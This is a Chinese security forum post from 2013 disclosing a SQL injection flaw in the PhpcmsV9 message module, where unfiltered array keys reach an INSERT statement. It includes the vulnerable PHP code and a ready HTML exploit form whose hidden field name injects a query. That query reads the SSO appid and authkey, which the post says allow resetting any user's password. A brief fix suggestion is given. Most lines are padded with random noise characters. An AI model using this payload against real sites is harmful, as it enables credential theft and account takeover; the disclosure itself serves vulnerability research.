找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:  b, L: b/ \5 ^- U( k5 ^& v
  q4 p6 {( c# o/ f, T- p
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。3 [5 Z5 \6 o! ~7 n
0 B+ t" Z$ j  g! V/ m0 G+ h
明天再更新下一个漏洞。
; Y% T9 I# y8 w8 G+ u, M7 M详细说明:
( w+ Y- r  I6 h; i* m! w0 e在/phpcms9/phpcms/modules/message/index.php中有代码如下:" q+ z9 }. J$ U& ]3 z2 f: E( x

* X: p) p: h3 }% [$messageid = $this->message_db->insert($_POST['info'],true);  ~$ O6 [% K$ O2 b

6 x4 \4 D3 t. U2 D+ W% E" W
5 `( A1 Q1 |! N: {  |6 Einsert方法是key value的,代码如下:+ Q2 M* m# \8 ^6 |3 j) Q3 a
0 s$ v, E3 z4 D  t% L
public function insert($data, $table, $return_insert_id = false, $replace = false) {
8 Q4 l, o" E7 J& F6 u9 r7 m" D                if(!is_array( $data ) || $table == '' || count($data) == 0) {
6 O* T3 H1 y4 @0 k$ p9 h" u, |                        return false;
" l# P9 ^% K) }* X  Q                }  l- k7 u$ B, [+ i0 ^
                ( o4 J1 a/ l) w
                $fielddata = array_keys($data);
' }) l" x4 Q: u* @                $valuedata = array_values($data);# L% f5 K& n# l' f& g3 g+ U* Z1 c
                array_walk($fielddata, array($this, 'add_special_char'));
( Z, C2 ]- K# p. h/ H  U6 p( v, S                array_walk($valuedata, array($this, 'escape_string'));
2 |; B9 b. C' ~/ }2 w                8 J+ [2 x: ]! b9 O
                $field = implode (',', $fielddata);% G+ `3 x4 [" T: G/ E5 O/ s6 s: |- i
                $value = implode (',', $valuedata);! T  H2 F; Q8 `

% z  y' R: }, F* N. u. O                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';, u. J+ c1 W8 ~5 y3 b7 y3 k' |" C
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';8 y5 k& i) ?+ @& g$ q
                $return = $this->execute($sql);
, O9 _2 l# L/ O  [7 O$ s$ |0 E                return $return_insert_id ? $this->insert_id() : $return;6 c# K* h8 }  f% L) P# \0 A  _
        }
6 ]( W/ ?7 c7 a; k7 J" d- Y3 u& a% F- p8 _* }6 G5 n# N4 P

+ O' Y- E& j* l' d嗯,很遗憾的是
6 G, r! D4 h, @, A5 j
" |1 _/ f( ^: g, Y9 a4 Earray_walk($fielddata, array($this, 'add_special_char'));5 d$ o2 f" c% X3 P, P1 W
+ S/ x% U6 n( _! c4 Q( F

' w% m- f5 ~: T/ l中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
% V" f# Z: K0 d2 w# x3 V, v7 W8 P  |4 n
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。5 X) {. Y% A. u+ A, `2 c) q$ d% @
: ^4 I+ z- ~7 K) A$ Z" S
漏洞证明:
. k6 o- Z4 l7 |+ W$ s+ E% \( X$ z读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。$ d! ^$ A  q2 F& h: W% t% l. L# ^7 C
+ `! v! t9 q7 x7 t" [% f2 \- N
5 [/ V  A" r8 c, K4 s9 K
表单如下:用户名什么的得自己改一改。% E% g  `/ X/ n
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
3 K, K& \, X. d3 P<table width="100%" cellspacing="0" class="table_form">% t0 }  J$ U: t: Z2 T0 Z
<tr>; i# p0 c: `  A
<th>标 题:</th>, Z. [4 p$ Q- L; C) X
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>. I' b" I5 o* f' Z+ |
</tr>
  ]" c0 M8 p9 y8 \& u<tr>) |" y: }0 B0 P& S
<th>内 容:</th>+ M& j! V; h5 t5 `( g+ w
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>% f1 l* r. L$ T. O! x
</tr>
5 y/ u* P! s: o4 F' R<input type="hidden" name="info[replyid]" value="2" /> & n7 L: Q, ~- L
<input type="hidden" name="info[send_to_id]" value="cc" /> 7 I! A0 i! a% w4 \* q. o
<input type="hidden" name="info[send_from_id]" value="hh">
! x% @4 b% h" V  h<!-- 漏洞的利用重点在这里开始 -->
( t- J' D$ Z6 G- n! P" G0 Y<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
- F  _, ~4 p" L<!-- 漏洞的利用重点在这里结束 -->
$ X. F/ ^! l/ n" `/ K7 T<tr>/ h, k. O6 n$ `( A
<th>验证码:</th>, x; P+ ~' G# F! }# G6 U& @/ m0 D
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>: z4 e3 J, U$ g4 h/ d) _  K- ]
</tr>
- N5 o% c8 L% q2 j" y<tr>
: I$ L3 O' i6 z6 Z/ O<td></td>! k1 ^" Y# o2 y" k
<td colspan="2"><label>
+ b3 o: y* R7 o' t6 L, \& l3 F<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
9 d! |, Q1 n: f, [2 g/ G: l! d</label></td>! K9 N' X/ A' Y- n: {5 d
</tr>
3 ]/ i/ E0 a8 `/ X</table>
# v9 l& N9 t: W7 Z</form>6 Z* C3 M) Y8 k( r  K8 I4 H! g
在add_special_char函数内对key做过滤就可以了。% ?' f* B: K& N2 n- z

% X- b$ [  q4 |+ [  H# y! `0 d( o1 p
$ P- |6 N) q: _6 `; m' g5 w

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表